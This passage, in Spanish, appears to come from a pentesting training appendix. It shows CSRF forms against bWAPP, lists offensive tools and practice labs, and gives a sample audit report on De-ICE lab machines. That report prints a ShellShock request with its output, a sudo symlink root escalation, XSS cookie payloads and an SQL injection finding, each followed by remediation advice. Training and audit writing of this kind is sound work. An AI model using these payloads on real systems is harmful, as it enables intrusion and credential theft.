< reset > < login > ’ OR ’1 ’= ’1 </ login > < secret > A2 </ secret > </ reset >

Cross-Site Request Forgery (Change Password)

Level Low

Ponemos el siguiente formulario en una web maliciosa:


<h1 > CSRF ( Change Password ) </ h1 >

<p > Change your password . </p >

< form action =" http :// itsecgames . com / bWAPP / csrf_1 . php "
method =" GET " >

<p > < label for =" password_new " > New password : </ label > < br / >
< input type =" password " id =" password_new "
name =" password_new " > </p >

<p > < label for =" password_conf " > Re - type new
password : </ label > < br / >
< input type =" password " id =" password_conf "
name =" password_conf " > </p >

< button type =" submit " name =" action "
value =" change " > Change </ button >

</ form >

y observamos que se realiza el cambio de credenciales para la cuenta del usuario ac-
tualmente logueado en la web original.

Adicionalmente, se podría realizar la petición sin interacción del usuario.

78
Level Medium

Este nivel incorpora la contraseña actual para poder realizar el cambio, hecho que
requiere de interacción del usuario. La explotación es equivalente a la anterior pero requiere
de ingeniería social para que el usuario introduzca su contraseña actual.

Cross-Site Request Forgery (Change Secret)

Level Low

Equivalente al caso de reset de contraseña.

Level Medium

Este nivel genera un token en la carga del formulario que se almacena en una cookie,
que no es posible spoofear mediante CSRF.
Este método se considera seguro.

Cross-Site Request Forgery (Transfer Amount)

Level Low
< form action =" http :// itsecgames . com / bWAPP / csrf_2 . php "
method =" GET " >

<p > < label for =" account " > Account to transfer : </ label > < br / >
< input type =" text " id =" account " name =" account "
value ="123 -45678 -90" > </ p >

<p > < label for =" amount " > Amount to transfer : </ label > < br / >
< input type =" text " id =" amount " name =" amount " value ="0" > </ p >

< button type =" submit " name =" action "
value =" transfer " > Transfer </ button >

</ form >

y observamos que se realiza la transferencia para la cuenta del usuario actualmente


logueado en la web original.
Adicionalmente, es posible realizar la acción sin interacción del usuario generando un
botón o cargando un iframe invisible que carge la siguiente URL:
http :// itsecgames . com / bWAPP / csrf_2 . php ? account =123 -45678 -90& amount
=666& action = transfer

79
C.4. Infraestructuras

C.4.1. Herramientas

Existe un gran número de herramientas disponibles para llevar a cabo ataques a in-
fraestructura entre las que destacan, para cada una de las fases del pentest:

1. Reconocimiento o fingerprinting

dnsmap
dnsenum
DNSRecon

2. Escaneo y enumeración o footprinting

nmap
hping3
WPScan

3. Descubrimiento de vulnerabilidades

OpenVAS
sqlmap

4. Validación y explotación de vulnerabilidades

Metasploit
Armitage
BeEF

5. Mantenimiento del acceso

John the Ripper


creddump

Adicionalmente existen herramientas orientadas a integrar todas las fases y facilitar el


reporting como Golismero.

La distribución Kali Linux5 incluye todas estas herramientas y muchas más, ya sea
pre-instaladas en la distribución por defecto o facilmente instalables a través de su propia
fuente APT.
5
http://tools.kali.org/tools-listing

80
Redes

Para el análisis de comunicaciones son especialmente interesantes las herramientas


como tcpdump6 o wireshark7 para el análisis de protocolos y arpspoof8 o ettercap9 para
la intercepción de comunicaciones.

Para las redes inalámbricas cabe destacar especialmente la suite aircrack-ng10 , en la


que se basan distintas herramientas de hacking populares como wifite11 .

Para lo referente a redes también es interesante validar las herramientas disponibles


en Kali Linux.

C.4.2. Manuales y cheatsheets

Hay un sinfín de recursos orientados al hacking de infraestructuras, de los que cabe


destacar:

Metasploit Unleashed (https://www.offensive-security.com/metasploit-unleashed/)

Cheatsheets varios compilados por PentestMonkey (http://pentestmonkey.net/


category/cheat-sheet)

Manual de nmap (https://nmap.org/book/man.html)

Cheatsheet de netcat para hacking (https://www.sans.org/security-resources/


sec560/netcat_cheat_sheet_v1.pdf)

Redes inalámbricas

Debido a sus particularidades, las redes inalámbricas merecen una mención a parte,
siendo las siguientes fuentes especialmente interesantes para este tipo de infraestructuras:

SANS 802.11 Pocket Guide http://www.willhackforsushi.com/papers/80211_


Pocket_Reference_Guide.pdf)

Wireless Pen Test Framework (http://wirelessdefence.org/Contents/Wireless%


20Pen%20Test)%20Framework.html)

WPA Packet Capture Explained (http://www.aircrack-ng.org/doku.php?id=


wpa_capture)
6
http://www.tcpdump.org/, basada en línea de comandos
7
https://www.wireshark.org/, con interfaz gráfica
8
http://su2.info/doc/arpspoof.php, basada en línea de comandos
9
https://ettercap.github.io/ettercap/, con interfaz gráfica
10
http://www.aircrack-ng.org/
11
https://code.google.com/p/wifite/

81
Aman Hardikar ha desarrollado los siguientes mindmaps relacionados con el pentest
de infraestructuras:

http://amanhardikar.com/mindmaps/Infrastructure.html

http://amanhardikar.com/mindmaps/Wireless.html

Figura C.2: Mindmap de ataque a infraestructuras por Aman Hardikar

C.4.3. Fuentes de ejercicios

Una de las principales fuentes de ejercicios para validar la seguridad de infraestructura


vulnerable es la página web VulnHub (http://vulnhub.com/), en la que sus miembros
suben frecuentemente retos, habitualmente en forma de máquinas virtuales, desplegables
en la infraestructura local y que permiten la ejecución de pruebas avanzadas sobre esce-
narios vulnerables por diseño.

82
Figura C.3: Mindmap de ataque a redes inalámbricas por Aman Hardikar

Aman Hardikar presenta en su página de práctica (http://amanhardikar.com/mindmaps/


Practice.html) enlaces a una variedad de retos, de los cuales los siguientes aplican al
hacking de infraestructuras:

Damn Vulnerable Linux (http://sourceforge.net/projects/virtualhacking/


files/os/dvl/)

Metasploitable (http://sourceforge.net/projects/virtualhacking/files/os/
metasploitable/)

LAMPSecurity (http://sourceforge.net/projects/lampsecurity/)

83
UltimateLAMP (http://www.amanhardikar.com/mindmaps/practice-links.html)

heorot: DE-ICE, hackerdemia (http://hackingdojo.com/downloads/iso/De-ICE_


S1.100.iso, http://hackingdojo.com/downloads/iso/De-ICE_S1.110.iso, http:
//hackingdojo.com/downloads/iso/De-ICE_S1.120.iso, http://hackingdojo.
com/downloads/iso/De-ICE_S2.100.iso, http://hackingdojo.com/downloads/
iso/De-ICE_S1.123.iso)

pWnOS (http://www.pwnos.com/)

Holynix (http://sourceforge.net/projects/holynix/files/)

Kioptrix (http://www.kioptrix.com/blog/)

exploit-exercises - nebula, protostar, fusion (http://exploit-exercises.com/download)

PenTest Laboratory (http://pentestlab.org/lab-in-a-box/)

RebootUser Vulnix (http://www.rebootuser.com/?page_id=1041)

neutronstar (http://neutronstar.org/goatselinux.html)

scriptjunkie.us (http://www.scriptjunkie.us/2012/04/the-hacker-games/)

21LTR (http://21ltr.com/scenes/)

SecGame # 1: Sauron (http://sg6-labs.blogspot.co.uk/2007/12/secgame-1-sauron.


html)

Pentester Lab (https://www.pentesterlab.com/exercises)

Vulnserver (http://www.thegreycorner.com/2010/12/introducing-vulnserver.
html)

TurnKey Linux (http://www.turnkeylinux.org/)

Bitnami (https://bitnami.com/stacks)

Elastic Server (http://elasticserver.com)

CentOS (http://www.centos.org/)

C.5. Auditoría de infraestructura De-ICE: Informe de


resultados

A continuación se presenta el que podría ser un informe de resultados de una auditoría


de seguridad de la información de la subred 192.168.1.0/24 en la que se encuentran los
siguientes escenarios De-ICE:

S1_100

84
S1_110

S1_120

Que se corresponden a las IPs:

192.168.1.100

192.168.1.110

192.168.1.120

Destacar que debido a la naturaleza dinámica de la seguridad de la información, es


probable que al llevar a cabo una nueva revisión estos mismos entornos se obtengan
resultados adicionales a los que se presentan en este “informe”, realizado en Noviembre de
2014.

85
Auditorı́a de Seguridad Técnica
Resumen de resultados

Pablo Urmeneta

12 de Noviembre de 2014

86
Índice general

Introducción 2

Objetivo y alcance 3
Objetivo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3
Alcance . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

Resumen ejecutivo 4
Conclusiones generales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Principales vulnerabilidades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 4
Recomendaciones generales . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5

Trabajo realizado 6

Informe técnico 7
Resumen de puertos y servicios detectados . . . . . . . . . . . . . . . . . . . . . . . . 7
Detalles de las vulnerabilidades identificadas . . . . . . . . . . . . . . . . . . . . . . . 8

Anexo: Valoración del riesgo 21


Cálculo del vector CVSS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21
Valoración de severidad NVD . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22

87
Introducción

El presente informe describe los resultados de la auditorı́a de seguridad realizada sobre las
plataformas acordadas, realizado entre el 6 y el 11 de Noviembre de 2014.
El informe se divide en dos partes, exponiendo en la primera el nivel de riesgo global, seguido
por el informe técnico en el que se detallan los aspectos identificados junto a una valoración del
riesgo, que contempla tanto la probabilidad como el impacto, ası́ como la estrategia de remediación
propuesta.
La información presentada en el documento se corresponde a los resultados del análisis de los
sistemas en las fechas definidas, y si bien en el transcurso del trabajo se han llevado a cabo un
amplio abanico de pruebas, no es posible garantizar que un potencial atacante con más recursos o
mediante la ejecución de ataques no contemplados en el transcurso de la revisión pudiera descubrir
o explotar vulnerabilidades adicionales.

88
Objetivo y alcance

Objetivo
El objetivo de la revisión ha consistido en la valoración del nivel de riesgo de la infraestructura
de la Compañı́a desde el punto de vista de un atacante sin conocimiento previo de los sistemas (caja
negra), identificando las vulnerabilidades de los equipos desplegados y proponiendo una estrategia
de remediación, cuya aplicación es responsabilidad exclusiva de la Compañı́a.

Alcance
Se ha contemplado en el alcance de la revisión la ejecución de pruebas técnicas, sin limitaciones
de ningún tipo, del rango de IPs 192.168.1.0/24.

89
Resumen ejecutivo

Conclusiones generales
A partir de las pruebas realizadas, considerando tanto la criticidad como el volumen de vulnera-
bilidades identificadas en los sistemas en el alcance, ası́ como la valoración del auditor, se concluye
que los sistemas auditados tienen un nivel de riesgo alto para el escenario contemplado en la
auditorı́a.
No obstante, el nivel de seguridad mejorarı́a sustancialmente en caso de aplicar las medidas de
corrección y mitigación propuestas en el transcurso del informe.

Principales vulnerabilidades
Las principales vulnerabilidades identificadas en el transcurso de la revisión son:

1. Inyección remota de código en el servidor, permitiendo el acceso completo a la base de datos


y la ejecución de comandos de terminal.

2. Software desplegado obsoleto o no actualizado afectado por diversas vulnerabilidades.

3. Ejecución de código en el navegador de los usuarios de aplicación web mediante ataques de


Cross Site Scripting (XSS).

4. Escalada de privilegios local y acceso administrativo a través de los servicios publicados.

5. Fuga de información sensible a través de software vulnerable y login FTP anónimo.

90
Recomendaciones generales
Consierando las vulnerabilidades detactadas, las principales recomendaciones de cara a la re-
mediación y mitigación del riesgo de la plataforma auditada son:

Validación de cualquier input del usuario, restringiendo adecuadamente los posibles valores
introducidos.

Actualización o migración del software de la plataforma a versiones o alternativas:

• seguras
• soportadas por el desarrollador
• sin vulnerabilidades conocidas

Restricción de los permisos de acceso a ficheros locales, especialmente aquellos accesibles a


usuarios no autenticados y aquellos asignados mediante “sudoers”.

En las siguientes secciones se detalla, para cada una de las vulnerabilidades detectadas, el plan
de remediación propuesto.

91
Trabajo realizado

En el transcurso del proyecto se han llevado a cabo las principales fases definidas para las
auditorı́as de seguridad según diferentes metodologı́as y estándares de reconocido prestigio, entre
las que cabe destacar:

1. Reconocimiento de información potencialmente sensible a través del análisis de los servicios


publicados.

2. Escaneo y enumeración de puertos, servicios, etc. en el alcance definido.

3. Descubrimiento de vulnerabilidades, tanto a nivel de sistema operativo como de los servicios


identificados en cada una de las máquinas expuestas.

4. Explotación de vulnerabilidades.

Para llevar a cabo estas tareas se han realizado análisis mediante herramientas automáticas y
manuales.

92
Informe técnico

Resumen de puertos y servicios detectados


192.168.1.100
FTP (tcp/21)

SSH (tcp/22)

SMTP (tcp/25)

HTTP (tcp/80)

POP3 (tcp/110)

IMAP (tcp/143)

192.168.1.110
FTP (tcp/21)

SSH (tcp/22)

HTTP (tcp/80)

CUPS (tcp/631; udp/631)

192.168.1.120
FTP (tcp/21)

SSH (tcp/22)

HTTP (tcp/80)

HTTPS (tcp/443)

MySQL (tcp/3306)

93
Detalles de las vulnerabilidades identificadas
MCS-01-A - ShellShock
Riesgo:
Alto (CVSS 10,0)

Sistemas afectados:
192.168.1.120 (tcp/80; TCP/443)

Descripción:
El servidor web está afectado por una vulnerabilidad de ejecución remota de código arbitrario
debido a un error en la versión de Bash desplegada, explotable mediante peticiones CGI especial-
mente preparadas como la siguiente:
GET / cgi - bin / test - cgi HTTP /1.1
Host : 192.168.1.120
Accept - Charset : iso -8859 -1 , utf -8; q =0.9 ,*; q =0.1
Accept - Language : en
Connection : Close
User - Agent : () { ignored ; }; echo Content - Type : text / plain ; echo ; echo ;
/ usr / bin / id ;
Pragma : no - cache
Accept : image / gif , image /x - xbitmap , image / jpeg , image / pjpeg , image / png , */*

Para la que se ha obtenido la siguiente respuesta, que demuestra la explotabilidad de la vulne-


rabilidad:
uid =99( nobody ) gid =99( nogroup ) groups =98( nobody ) ,99( nogroup )

Resolución:
Actualizar bash a la última versión y aplicar los parches publicados para mitigar esta vulnera-
bilidad.

94
MCS-02-A - Inyección de código SQL
Riesgo:
Alto (CVSS 10)

Sistemas afectados:
192.168.1.120

Descripción:
Mediante la inclusión de código no sanitizado en la siguiente petición GET:
http ://192.168.1.120/ products . php ? id =1

Ha sido posible la inyección de comandos SQL en la base de datos, consiguiendo extraer infor-
mación sensible de la compañı́a, entre la que cabe destacar:
1. Esquema completo de la base de datos, junto a todas sus tablas
2. Identificadores de todos los usuarios de la base de datos, junto a sus permisos
3. Hash de las contraseñas de los usuarios de la base de datos
Adicionalmente, dado que el usuario webapp de la base de datos es administrador, y como tal
dispone de permisos avanzados:
[*] ’ webapp ’@ ’ localhost ’ ( administrator ) [27]:
privilege : ALTER
privilege : ALTER ROUTINE
privilege : CREATE
privilege : CREATE ROUTINE
privilege : CREATE TEMPORARY TABLES
privilege : CREATE USER
privilege : CREATE VIEW
privilege : DELETE
privilege : DROP
privilege : EVENT
privilege : EXECUTE
privilege : FILE
privilege : INDEX
privilege : INSERT
privilege : LOCK TABLES
privilege : PROCESS
privilege : REFERENCES
privilege : RELOAD
privilege : REPLICATION CLIENT
privilege : REPLICATION SLAVE
privilege : SELECT
privilege : SHOW DATABASES
privilege : SHOW VIEW
privilege : SHUTDOWN
privilege : SUPER
privilege : TRIGGER
privilege : UPDATE

95
Con estos permisos hubiera sido posible introducir o modificar datos de forma arbitraria me-
diante la inyección de código (afectando a la integridad de la base de datos y/o creando usuarios
adicionales para garantizar el acceso futuro) o realizar una denegación de servicio eliminando toda
la información de la base de datos.

Resolución:
Se debe sanitizar cualquier entrada de datos del usuario, independientemente del método utili-
zado.
Para ello se debe analizar la información esperada (en este caso, identificadores numéricos),
descartando cualquier contenido no numérico en la variable id.

10

96
MCS-03-A - Software desplegado obsoleto
Riesgo:
Alto (CVSS 10)

Sistemas afectados:
192.168.1.100

Descripción:
Las versiones de Apache (2.0.55) y PHP (5.1.2) desplegadas en el servidor son vulnerables a
diferentes ataques que podrı́an comprometer la confidencilidad e integridad de los datos, ası́ como
la disponibilidad del servicio.
El software desplegado ya no se encuentra soportado por sus desarrolladores, y por lo tanto no
recibirá actualizaciones de seguridad para las vulnerabilidades detectadas posteriormente a la fecha
de fin de vida.
root@kali :~# telnet 192.168.1.100 80
Trying 192.168.1.100...
Connected to 192.168.1.100.
Escape character is ’^] ’.
GET / HTTP /1.1

HTTP /1.1 400 Bad Request


Date : Wed , 12 Nov 2014 12:11:22 GMT
Server : Apache /2.0.55 ( Unix ) PHP /5.1.2
Content - Length : 316
Connection : close
Content - Type : text / html ; charset = iso -8859 -1

(...)

Resolución:
Actualizar o migrar las aplicaciones a versiones mantenidas por los desarrolladores, que no estén
afectadas por vulnerabilidades conocidas.

11

97
MCS-04-A - Software desplegado no actualizado
Riesgo:
Alto (CVSS 10)

Sistemas afectados:
192.168.1.110

Descripción:
Las versiones de Apache (2.2.4) y OpenSSL (0.9.8b) desplegadas en el servidor están afectadas
por vulnerabilidades conocidas que podrı́an comprometer la confidencilidad e integridad de los
datos, ası́ como la disponibilidad del servicio.
Estas vulnerabilidades han sido solventadas en versiones posteriores de las aplicaciones.
root@kali :~# telnet 192.168.1.110 80
Trying 192.168.1.110...
Connected to 192.168.1.110.
Escape character is ’^] ’.
GET / HTTP /1.1

HTTP /1.1 400 Bad Request


Date : Wed , 12 Nov 2014 14:38:03 GMT
Server : Apache /2.2.4 ( Unix ) mod_ssl /2.2.4 OpenSSL /0.9.8 b DAV /2
(...)

Resolución:
Actualizar las aplicaciones a versiones posteriores facilitadas por los desarrolladores que no estén
afectadas por vulnerabilidades conocidas.

12

98
MCS-05-A - Escalada local de privilegios a root
Riesgo:
Alto (CVSS 8,5)

Sistemas afectados:
192.168.1.120

Descripción:
Mediante los permisos de “sudo” del usuario ccoffee:
ccoffee@slax :~ $ sudo -l
User ccoffee may run the following commands on this host :
( root ) NOPASSWD : / home / ccoffee / scripts / getlogs . sh

Se ha procedido a modificar el fichero (para el que el usuario dispone de permisos) para acceder,
con permisos de root en una sesión de terminal local:
ccoffee@slax :~/ scripts$ cp getlogs . sh getlogs_backup . sh
ccoffee@slax :~/ scripts$ rm getlogs . sh
rm : remove write - protected regular file ‘ getlogs . sh ’? y
ccoffee@slax :~/ scripts$ ln / bin / bash getlogs . sh
ccoffee@slax :~/ scripts$ sudo / home / ccoffee / scripts / getlogs . sh
root@slax :~/ scripts # mv getlogs_backup . sh getlogs . sh

Resolución:
En caso de asignar permisos de “sudo” especı́fico a usuarios o grupos puntuales, se debe garan-
tizar que el objeto no es modificable a través de los permisos del sistema de ficheros, evitando la
modificación o sustitución del objeto por uno potencialmente peligroso.

13

99
MCS-06-A - FTP desplegado con el usuario anonymous habilitado
Riesgo:
Alto (CVSS 7,8)

Sistemas afectados:
192.168.1.110; 192.168.1.120

Descripción:
Se ha identificado el uso de FTPs con login anónimo habilitado:
ftp > open 192.168.1.110 21
Connected to 192.168.1.110.
220 ( vsFTPd 2.0.4)
Name (192.168.1.110: root ) : anonymous
331 Please specify the password .
Password :
230 Login successful .

Este aspecto es especialmente relevante en el servidor 192.168.1.110 debido a la visibilidad


excesiva de ficheros de la plataforma, permitiendo el acceso al documento core, el cual incluye
algunos de los usuarios del equipo y el hash de sus contraseñas.

Resolución:
Para servicios de uso eminentemente interno, se debe deshabilitar el acceso mediante usuario
anónimo. En caso de ser necesario por requisitos de negocio, se limitará de forma muy estricta la
visibilidad de ficheros por parte de usuarios no corporativos.

14

100
MCS-07-A - Ejecución de servicios por parte de usuarios con permisos avanzados
Riesgo:
Alto (CVSS 7,1)

Sistemas afectados:
192.168.1.100; 192.168.1.120

Descripción:
Se ha identificado el uso de usuarios administradores (tanto de sistema operativo como de base
de datos) ejecutando servicios públicos, incrementando el impacto de cualquier vulnerabilidad en
el servicio.
Cabe destacar:

192.168.1.120: el usuario de base de datos encargado de la introducción y consulta de datos


del portal web (webapp) es administrador de la base de datos.

192.168.1.100: el usuario de cifrado de los ficheros FTP entrantes está vinculado a las creden-
ciales del usuario root:
bbanter@slax :~ $ cat / etc / passwd
root : x :0:0: DO NOT CHANGE PASSWORD - WILL BREAK FTP ENCRYPTION :/ root :/ bin / bash

root@slax :/ home / root /. save # cat copy . sh


#!/ bin / sh
# encrypt files in ftp / incoming
openssl enc -aes -256 - cbc - salt - in / home / ftp / incoming / $1 - out
/ home / root /. save / $1 . enc - pass file :/ etc / ssl / certs / pw
# remove old file
rm / home / ftp / incoming / $1

Resolución:
Se deben crear usuarios especı́ficos para la ejecución de servicios del sistema que tengan los
mı́nimos permisos necesarios para acometer sus funciones.

15

101
MCS-08-M - Cross Site Scripting (XSS) persistente
Riesgo:
Medio (CVSS 5,0)

Sistemas afectados:
192.168.1.120

Descripción:
Se ha identificado una vulnerabilidad del tipo XSS, que permite la ejecución de código en el
navegador del usuario. Cabe destacar que se trata de una vulnerabilidad persistente (en contrapo-
sición a reflejada), ya que se almacenan los datos en el la base de datos, incrementando el potencial
impacto y persistencia del ataque.
Ha sido posible inyectar y consultar cookies del usuario mediante la inyección del siguiente
código en los campos del formulario de alta de productos:
< script > document . cookie = ’ SID = test ’; </ script >

< script > alert ( document . cookie ) ; </ script >

Como evidencia se muestra el resultado de la inyección del siguiente código en el formulario de


alta de productos:
< script > alert ( document . cookie ) ; </ script >

Obteniendo el siguiente resultado en la consulta de productos:

Resolución:
Identificar los posibles inputs para cada uno de los campos, cuyos carácteres serán los únicos
aceptados y tratados por el back-end.
Adicionalmente, se deberán filtrar secuencias de caracteres problemáticas (como por ejemplo
<script> y </script>), ası́ como sus codificaciones.

16

102
MCS-09-M - Protección insuficiente de las credenciales de usuario
Riesgo:
Medio (CVSS 4,3)

Sistemas afectados:
192.168.1.100; 192.168.1.110; 192.168.1.120

Descripción:
No se han identificado medidas básicas de protección de las credenciales de usuario, entre las
que se destacan:

Complejidad de las contraseñas: se han identificado credenciales triviales entre los usuarios
de los distintos sistemas.

Medidas de prevención de ataques de fuerza bruta: es posible realizar ataques de fuerza bruta
sobre la plataforma, siendo factible el descubrimiento de credenciales de usuario.

Resolución:
Implementar polı́ticas de complejidad de contraseña para los usuarios de los sistemas y servicios,
que deben ser suficientemente largas e incluir al menos tres de las siguientes:

Letras mayúsculas

Letras minúsculas

Números

Caracteres especiales

Para la prevención de ataques de fuerza bruta se deberá valorar la implementación de las


siguientes medidas propuestas:

Bloqueo de peticiones masivas desde una misma IP

Bloqueo de cuentas tras n intentos fallidos, siendo n un valor suficientemente bajo (p.ej.: 5)

Uso de soluciones del tipo CAPTCHA en el proceso de login

17

103
MCS-10-B - Uso de protocolos inseguros
Riesgo:
Bajo (CVSS 2,9)

Sistemas afectados:
192.168.1.100 (FTP1 , SSH); 192.168.1.110 (FTP); 192.168.1.120 (FTP)

Descripción:
Se ha identificado el uso del protocolo de comunicaciones FTP (File Transfer Portocol ) en la
infraestructura desplegada. Este protocolo no implementa medidas para garantizar la confidencia-
lidad de las comunicaciones, transmitiendo las credenciales y toda la información transmitida en
claro en la red, incrementando el riesgo del robo de credenciales y la fuga de información en caso
de ataques del tipo MiTM (Man in the Middle) o de escucha del medio (sniffing).
Adicionalmente, el servidor FTP de la IP 192.168.1.110 permite el comando PORT, que facili-
tarı́a el uso de este servicio para realizar escaneos de puertos de red desde un terminal considerado
confiable.
Por otra parte, el servidor 192.168.1.100 permite la versión 1 del protocolo SSH, que se considera
vulnerable y está afectado por las mismas debilidades descritas para FTP.

Resolución:
Valorar la migración del servicio FTP a alternativas seguras, como por ejemplo SFTP (SSH
File Transfer Protocol ) o FTPS (FTP sobre SSL/TLS ).
Para el servicio SSH, se deben aceptar únicamente versiones consideradas seguras (como SSHv2),
deshabilitando especı́ficamente la versión 1 del protocolo.

1
En el momento de la prueba el servicio estaba activo pero no operativo.

18

104
MCS-11-B - Uso de certificados no confiables
Riesgo:
Bajo (CVSS 2,9)

Sistemas afectados:
192.168.1.100; 192.168.1.120

Descripción:
Se han identificado certificados no confiables desplegados en la plataforma, con las siguientes
debilidades:

1. Certificados caducados

2. Protocolos de cifrado aceptados vulnerables y/o poco robustos (p.ej.: SSL2/3)

3. Firma electrónica del certificado debil, que no garantiza su autenticidad (p.ej.: RC4)

4. Certificados auto-firmados

Resolución:
Desplegar para todos los servicios que requieran de cifrado certificados confiables, vigentes y
firmados por una entidad certificadora de confianza.

19

105
MCS-12-B - Fuga de información
Riesgo:
Bajo (CVSS N/A)

Sistemas afectados:
192.168.1.100; 192.168.1.110; 192.168.1.120

Descripción:
Se han identificado diferentes datos de la infraestructura publicada mediante el análisis de:

Banners de servicio:
root@kali :~# telnet 192.168.1.100 80
(...)
GET / HTTP /1.1

HTTP /1.1 400 Bad Request


Date : Wed , 12 Nov 2014 12:11:22 GMT
Server : Apache /2.0.55 ( Unix ) PHP /5.1.2
(...)

root@kali :~# telnet 192.168.1.120 21


Trying 192.168.1.120...
Connected to 192.168.1.120.
Escape character is ’^] ’.
220 ProFTPD 1.3.2 Server ( Primaline FTP Server ) [192.168.1.120]

Mensajes de error:
t@kali :~# telnet 192.168.1.100 80
(...)
<! DOCTYPE HTML PUBLIC " -// IETF // DTD HTML 2.0// EN " >
< html > < head >
< title >400 Bad Request </ title >
</ head > < body >
(...)
< address > Apache /2.0.55 ( Unix ) PHP /5.1.2 Server at slax . example . net Port
80 </ address >
</ body > </ html >

Resolución:
Se deben modificar los banners y mensajes de error por defecto de todos los servicios publicados,
de forma que no se ofrezca información de la infraestructura a potenciales atacantes.

20

106
Anexo: Valoración del riesgo

Cálculo del vector CVSS


Vector CVSS que contienen las cifras de base tienen la siguiente forma:
(AV : [L, A, N ]/AC : [H, M, L]/Au : [N, S, M ]/C : [N, P, C]/I : [N, P, C]/A : [N, P, C])

Donde cada letra o conjunto de letras es una abreviatura de una métrica o su valoración. Estas
abreviaturas se definen a continuación:

AV = Vector de Acceso (Relacionado con el rango de explotación)

Posibles valores:

• L = acceso local
• A = Red adyacente
• N = Internet

AC = Complejidad de Acceso (Requerido ataque complejidad)

Posibles valores:

• H = Alta
• M = Mediano
• L = Bajo

Au = Autenticación (Nivel de autenticación necesarios para explotar)

Posibles valores:

• N = No se requiere
• S = Requiere única instancia
• M = Requiere varias instancias

C = ConfImpact (Impacto a la Confidencialidad)

Posibles valores:

21

107
• N = No
• P = parcial
• C = Completa

I = IntegImpact (Impacto a la Integridad)

Posibles valores:

• N = No
• P = parcial
• C = Completa

A = AvailImpact (Impacto a la Disponibilidad)

Posibles valores:

• N = No
• P = parcial
• C = Completa

Valoración de severidad NVD


La NVD, Base de Datos Nacional de Vulnerabilidades, proporciona clasificaciones de la gravedad
como “Baja”, “Media”, y “Alta”, además de los resultados numéricos CVSS. Estas clasificaciones
cualitativas son simplemente mapas de los resultados numéricos CVSS:

Vulnerabilidades con CVSS base entre 7.0 y 10 se consideran de severidad “Alta”

Vulnerabilidades con CVSS base entre 4.0 y 6.9 se consideran de severidad “Media”

Vulnerabilidades con CVSS base entre 0.0 y 3.9 se consideran de severidad “Baja”

22

108
C.6. Aplicaciones móviles

C.6.1. Herramientas

En cuanto a las herramientas para el análisis de seguridad de aplicaciones móviles cabe


destacar:

Los emuladores disponibles para las diferentes plataformas (provistos por el fabri-
cante o desarrollador del Sistema Operativo):

• iOS (https://developer.apple.com/xcode/)
• Android (https://developer.android.com/sdk/index.html)
• Windows Phone (https://dev.windows.com/en-us/downloads)

La documentación de APIs y SDKs de cada plataforma:

• iOS (https://developer.apple.com/library/ios/navigation/)
• Android (https://developer.android.com/reference/packages.html)
• Windows Phone (https://msdn.microsoft.com/library/windows/apps/bg124285.
aspx)

Las distribuciones de Linux orientadas específicamente al análisis y explotación de


aplicaciones web:

• Santoku (https://santoku-linux.com/)
• MobiSec (http://sourceforge.net/projects/mobisec/)

El entorno de pruebas AppUse (https://appsec-labs.com/appuse/), que facilita


las tareas de hacking de aplicaciones móviles

Adicionalmente, como en otras áreas de la seguridad, es interesante validar las he-


rramientas disponibles en el repositorio APT de Kali Linux (http://tools.kali.org/
tools-listing), que dispone de un inventario de herramientas muy completo y con un
buen nivel de detalle.

C.6.2. Manuales y cheatsheets

En https://github.com/iosre/iOSAppReverseEngineering se presenta un libro so-


bre la ingeniería inversa de aplicaciones móviles de la plataforma iOS.

McAfee ha publicado un WhitePaper de test de intrusión en aplicaciones iOS12 .


12
http://www.mcafee.com/us/resources/white-papers/foundstone/
wp-pen-testing-iphone-ipad-apps.pdf

109
SANS Insitute recopiló en un blog post13 en análisis de aplicaciones web y las herra-
mientas con las que realizarlo. Si bien no es reciente, las técnicas y herramientas principales
deberían perdurar.

OWASP ha desarrollado una cheat-sheet de validaciones de seguridad de aplicaciones


iOS que se puede encontrar en https://www.owasp.org/index.php/IOS_Application_
Security_Testing_Cheat_Sheet.

C.6.3. Fuentes de ejercicios

Aman Hardikar presenta en su página de práctica (http://amanhardikar.com/mindmaps/


Practice.html) enlaces a una variedad de retos, de los cuales los siguientes aplican al
hacking de aplicaciones móviles:

ExploitMe Mobile Android Labs (http://securitycompass.github.io/AndroidLabs/)

ExploitMe Mobile iPhone Labs (http://securitycompass.github.io/iPhoneLabs/)

OWASP iGoat (http://code.google.com/p/owasp-igoat/)

OWASP Goatdroid (https://github.com/jackMannino/OWASP-GoatDroid-Project)

Damn Vulnerable iOS App (DVIA) (http://damnvulnerableiosapp.com/)

Damn Vulnerable Android App (DVAA) (https://code.google.com/p/dvaa/)

Damn Vulnerable FirefoxOS Application (DVFA) (https://github.com/pwnetrationguru/


dvfa/)

NcN Wargame (http://noconname.org/evento/wargame/)

